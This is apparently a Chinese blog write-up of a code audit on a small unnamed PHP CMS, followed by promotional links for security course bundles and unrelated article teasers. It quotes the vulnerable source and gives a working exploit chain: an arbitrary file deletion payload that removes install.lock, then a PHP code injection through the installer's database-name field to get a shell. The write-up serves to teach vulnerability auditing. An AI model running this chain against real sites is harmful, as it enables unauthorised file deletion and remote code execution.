记一次cms代码审计

0×00:前言

记录一次小型cms代码审计

 

0×01:任意文件删除

由于代码繁杂,不再一一展示

/app/controller/kindeditor.class.php

关键漏洞代码

public function delete() {$path = ROOT_PATH.$_GET['pic'];unlink($path);$flash = M("flash");$row = $flash->query("delete from tc_flash wherephoto='".$_GET['pic']."'");echo '删除成功';}}

可以看到直接调用delete方法get传入pic参数就可以删除任意文件

0×02:Getshell

/install/index.php

case '4':if (intval($_GET['install'])) {$n = intval($_GET['n']);$arr = array();$dbHost = trim($_POST['dbhost']);$dbPort = trim($_POST['dbport']);$dbName = trim($_POST['dbname']);$dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost .':' . $dbPort;$dbUser = trim($_POST['dbuser']);$dbPwd = trim($_POST['dbpw']);$dbPrefix = empty($_POST['dbprefix']) ? 'tc_' :trim($_POST['dbprefix']);$uname = trim($_POST['manager_email']);$password = trim($_POST['manager_pwd']);$webpath = trim($_POST['webpath']);............if ($i == 999999) exit;$message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.';//$newmodelstr = "<?php \n";$newmodelstr .= " define('DBHOST', '" . $dbHost . "');\n ";$newmodelstr .= "define('DBUSER', '" . $dbUser . "');\n ";$newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\n ";$newmodelstr .= "define('DBNAME', '" . $dbName . "');\n ";$newmodelstr .= "define('DBCODE', 'utf8');\n ";$newmodelstr .= "define('DBCONN', " . $db_pconnect . ");\n ";$newmodelstr .= "define('MORESITE', false);\n ";$newmodelstr .= "define('USEMC', false);\n ";$newmodelstr .= "define('MCHOST', '127.0.0.1');\n ";$newmodelstr .= "define('MCPORT','11211');\n ";$newmodelstr .= "define('MCHOST2', '127.0.0.1');\n ";$newmodelstr .= "define('MCPORT2','11211');\n ";$newmodelstr .= "\n?>\n";$targetFile = '../app/data/mysql.php';@file_put_contents($targetFile, $newmodelstr);$arr = array('n' => 999999, 'msg' => $message);die(json_encode($arr));}include_once ("./templates/s4.php");exit;

在安装cms的时候在$dbName可以写入一句话木马进行getshell

当然当你访问网站的时候已经是安装好了的

这时候需要上一个任意文件删除的漏洞删除/app/data/install.lock文件进行系统重装

0×03:如何调用

/***cms/core/controller.class.php

控制器代码

public function Run() {$this->Analysis ();$this->control = $_GET ['c'];$this->action = $_GET ['a'];if ($_GET ['a'] === "list") {$this->action = "listAll";}$groupDir = GROUP_DIR;$controlFile = ROOT_PATH . '/' . APP_PATH . "/" . GROUP_DIR . "/" .$this->control . '.class.php';if (! file_exists ( $controlFile )) {$this->setValue ( "error", $this->control . Config::lang ("CONTROLLERNOTEXISTS" ) );$this->forward ( "error.html" );exit ();}include ($controlFile);if (! class_exists ( $this->control )) {$this->setValue ( "error", $this->control . Config::lang ("CONTROLLERNOTDEFINED" ) );$this->forward ( "error.html" );exit ();}if (! empty ( $_REQUEST ['token'] ) && ! in_array ( $_REQUEST ['ac'],array ('user_login', 'user_reg', 'user_regOrLoginProtocol', 'user_findPwd','user_getCode' ) )) {$this->pubCheck ();}$instance = new $this->control ();$methodName = $this->action;$instance->$methodName ();$this->forceAttack();

跟进$this->Analysis ();方法

protected function Analysis() {$ac = array ();$acStr = $_GET ['ac'];if (empty ( $acStr )) { // 无ac参数$ac [0] = $this->control;$ac [1] = $this->action;} else if (! strpos ( $acStr, '_' ) && $acStr) { // ac=list$ac [0] = $acStr; // empty($this->control) ?self::getDefaultAction() : $this->control;//NULL$ac [1] = self::getDefaultAction ();$modelClass = $ac [1];$controlClass = $ac [0];} else { // ac=news_list 支持下划线的控制器$acAry = explode ( "_", $acStr );if (count ( $acAry ) == 2) {$modelClass = $acAry [1];$controlClass = $acAry [0];}if (count ( $acAry ) == 3) {$modelClass = $acAry [2];$controlClass = $acAry [0] . '_' . $acAry [1];}}if ($this->c ['URL_MODE'] == 1) {$this->control = ! empty ( $controlClass ) ? trim ( $controlClass ): $this->control;$this->action = ! empty ( $modelClass ) ? trim ( $modelClass ) :$this->action;} else if ($this->c ['URL_MODE'] == 2) {if (isset ( $_SERVER ['PATH_INFO'] )) {$path = trim ( $_SERVER ['PATH_INFO'], '/' );$paths = explode ( '/', $path );// index.php/news/show/id/275$this->control = array_shift ( $paths ); // news$this->action = array_shift ( $paths ); // showParseUrl (); // news/show/id/275 index.php后面的}} else if ($this->c ['URL_MODE'] == 3) {// $_SERVER["QUERY_STRING"]=>// string(19) "ac=news_show&id=275"// $_SERVER["REQUEST_URI"]=>// string(30) "/index.php?ac=news_show&id=275"// bencandy.php?fid-{$fid}-id-{$id}-page-{$page}.html$path = str_replace ( ".asp", "", $_SERVER ["QUERY_STRING"] ); //news-show-1$paths = explode ( '-', $path );$this->control = array_shift ( $paths ); // news$this->action = array_shift ( $paths ); // show$key = $this->action == 'show' ? 'id' : 'page';$_GET [$key] = array_shift ( $paths ); // id page classidss}$_GET ['c'] = ! empty ( $this->control ) ? $this->control : 'index';$_GET ['a'] = ! empty ( $this->action ) ? $this->action :self::getDefaultAction ();$ac [0] = $_GET ['c'];$ac [1] = $_GET ['a'];

http://url/index.php?ac=控制器_方法名进行访问

构造payload  ac=kindeditor_delete&pic=/app/data/install.lock

删除成功进到安装界面

v2-4007a81b451c934e08b31aea170ce7b2_720w.png

数据库名字处输入');phpinfo();//

再次访问/***cms/index.php 成功输出

v2-285b2a8c0cac09c0b15079f3c3af379b_720w.png

0×04:总结

代码审计抓住函数跟进就对了,知识点的综合利用很重要。继续审计去了,以上漏洞挺多的。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

 所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/674090.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

冶金比例换向阀放大器

冶金比例换向阀是一种重要的液压控制元件&#xff0c;它通过BEUEC比例放大器驱动调节阀门开度来精确控制流量&#xff0c;进而控制压力或速度。在液压系统中&#xff0c;比例阀的接线设备是确保其正常工作和实现精确控制的关键部分。比例阀的接线方式主要包括电流输入和电压输入…

Unix、Linux 软件包管理快速入门对照

Linux&#xff08;RHEL、Ubuntu&#xff09;或者 Unix&#xff08;macOS、FreeBSD&#xff09;可以参看下表快速入门: 命令功能/系统Darwin (macOS)FreeBSDDebian/UbuntuRHEL&#xff08;dnf yum&#xff09;搜索和查找软件包brew searchpkg searchapt listyum list查看软件包…

基于python flask+pyecharts实现的中药数据可视化大屏,实现基于Apriori算法的药品功效关系的关联规则

背景 在中医药学中&#xff0c;物品与功效之间的关联关系研究是一个非常重要的课题。传统中医药学中&#xff0c;很多药物都具有多种功效&#xff0c;而且不同药物对同一种疾病可能具有不同的疗效。因此&#xff0c;挖掘物品与功效之间的关联关系&#xff0c;可以帮助我们更加…

WIN系统 -> 以太网未识别的网络问题

1.方法1 2. 3. 根据诊断提示解决问题。 方法2. 右键以太网属性

Java mybatis

nested exception is org.apache.ibatis.reflection.ReflectionException: There is no getter for proper 注意 mapper 中&#xff0c;insert into values 中 values 字段和 Java 对象保持一直

快速排序的实现

目录 一、递归 1、霍尔法&#xff1a; 2、挖坑法&#xff1a; 3、前后指针法&#xff1a; 二、非递归 三、完整代码&#xff1a; 基本思想&#xff1a; 先取这个待排序元素序列中的某一个元素最为key值&#xff0c;然后通过这个key值将这个序列分为两边&#xff0c;一边小…

vue-2

vue-cli的安装 vue-cli是一个脚手架工具&#xff0c;它集成了诸多前端技术&#xff0c;包括但不仅限于&#xff1a; webpack、 babel、eslint、http-proxy-middleware、typescript、css pre-prosessor、css module、… 这些工具&#xff0c;他们大部分都要依赖两个东西&…

访问限制

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 在类的内部可以定义属性和方法&#xff0c;而在类的外部则可以直接调用属性或方法来操作数据&#xff0c;从而隐藏了类内部的复杂逻辑。但是Python并…

HALCON-从入门到入门-花式读取图片的N种方式

1.废话 很多时候我们不止读取一张图片-读取文件夹下的多张 甚至我们可能想在多个文件夹中读取多张图片。 再变态点我们想再任意若干路径下读取任意若干张图片。 没关系&#xff0c;这些halcon开发人员都替我们考虑到了。 只需要使用下面一个算子 list_files (, files, Fi…

【CMake】CMake入门(五)打包安装程序 使用CMake管理库 打包调试版和发行版

本篇文章不是新手入门教学文章&#xff0c;主要是记录笔者个人的学习笔记 CMake入门&#xff08;五&#xff09; 一、打包二、使用CMake管理库三、打包调试版和发行版 一、打包 发布程序可以有多种形式&#xff0c;比如安装包、压缩包、源文件等。CMake也提供了打包程序cpack可…

电脑数据恢复,6个方法,恢复文件很简单!

“我在使用电脑时&#xff0c;一个不小心就误删了部分重要数据&#xff0c;现在想恢复电脑数据却不知怎么操作了&#xff0c;希望大家帮帮我&#xff01;” 在数字化时代&#xff0c;电脑数据不仅是工作和学习的重要载体&#xff0c;更是我们生活中珍贵的记忆和情感的存储地。然…

二叉树创建和遍历(及相关OJ题)

个人主页 &#xff1a;敲上瘾-CSDN博客二叉树介绍&#xff1a;二叉树(详解)-CSDN博客 目录 一、二叉树的创建 二、二叉树的遍历 1.前序遍历 2.中序遍历 3.后序遍历 4.层序遍历 三、相关计算 1.总节点个数计算 2.叶子节点个数计算 3.深度计算 一、二叉树的创建 关于…

❤机器学习正则化算法的总结。耗时10个小时完成。❤

❤纯 干 货~❤ 目录 纯干货 1、L1 正则化&#xff08;Lasso 正则化&#xff09; 2、L2 正则化&#xff08;岭正则化&#xff09; 3、弹性网络正则化&#xff08;Elastic Net 正则化&#xff09; 4、Dropout 正则化&#xff08;用于神经网络&#xff09; 5、贝叶斯Rid…

风力发电机常见故障分析

风力发电机常见故障分析 风力发电机是风电机组中的核心部件&#xff0c;其运行的可靠性和稳定性对整个风电系统的发电效率至关重要。然而&#xff0c;由于复杂的机械结构和长期暴露在严酷环境中&#xff0c;风力发电机在运行过程中可能会出现各种故障。本文将详细介绍风力发电…

【Linux】深入理解文件操作:从C语言接口到系统调用与缓冲区管理

文章目录 前言&#xff1a;1. 铺垫2. 重新使用C文件接口&#xff1a;对比一下重定向2.1. 什么叫当前路径&#xff1f;2.2. 写入文件2.3. 读文件2.4. 程序默认打开的文件流2.5. 输出2.6. 输入 3. 系统调用提供的文件接口3.1. open 打开文件3.2. open函数返回值 4. 缓冲区问题总结…

MongoDB~索引使用与优化

Study by&#xff1a; https://docs.mongoing.com/indexeshttps://www.cnblogs.com/Neeo/articles/14325130.html#%E5%85%B6%E4%BB%96%E7%B4%A2%E5%BC%95 作用 如果你把数据库类比为一本书&#xff0c;那书的具体内容是数据&#xff0c;书的目录就是索引&#xff0c;所以索引…

【随笔】Git 实战篇 -- 开心 commit 之后,发现有一处bug还需要改,只能 reset 撤销然后再次提交 -- git reset --(四十三)

&#x1f48c; 所属专栏&#xff1a;【Git】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f496; 欢迎大…

RabbitMQ小结

MQ分类 Acitvemq kafka 优点&#xff1a;性能好&#xff0c;吞吐量高百万级&#xff0c;分布式&#xff0c;消息有序 缺点&#xff1a;单机超过64分区&#xff0c;cpu会飙高&#xff0c;消费失败不支持重试 &#xff0c; Rocket 阿里的mq产品 优点&#xff1a;单机吞吐量也…

如何赋予LLM多模态能力(MLLM)

基本概念 多模态大型语言模型&#xff08;MLLMs&#xff09;是人工智能领域的一项前沿技术&#xff0c;旨在设计能够理解和生成跨越多种形式数据输入&#xff08;如文本和图像&#xff09;内容的模型。 链接文本和视觉模态&#xff1a;MLLMs能够整合文本和视觉数据源的信息。…

众汇:外汇狙击指标如何使用?

对于投资者来说&#xff0c;我们各位交易的目的是什么?WeTrade众汇认为那就是盈利。所以来说有一个指标对各位投资者来说那是相当有帮助的。这是因为对于交易者而言&#xff0c;利用这些指标可以快速识别盈利的买卖时机。当我们选择一个指标之后&#xff0c;深入了解其适用范围…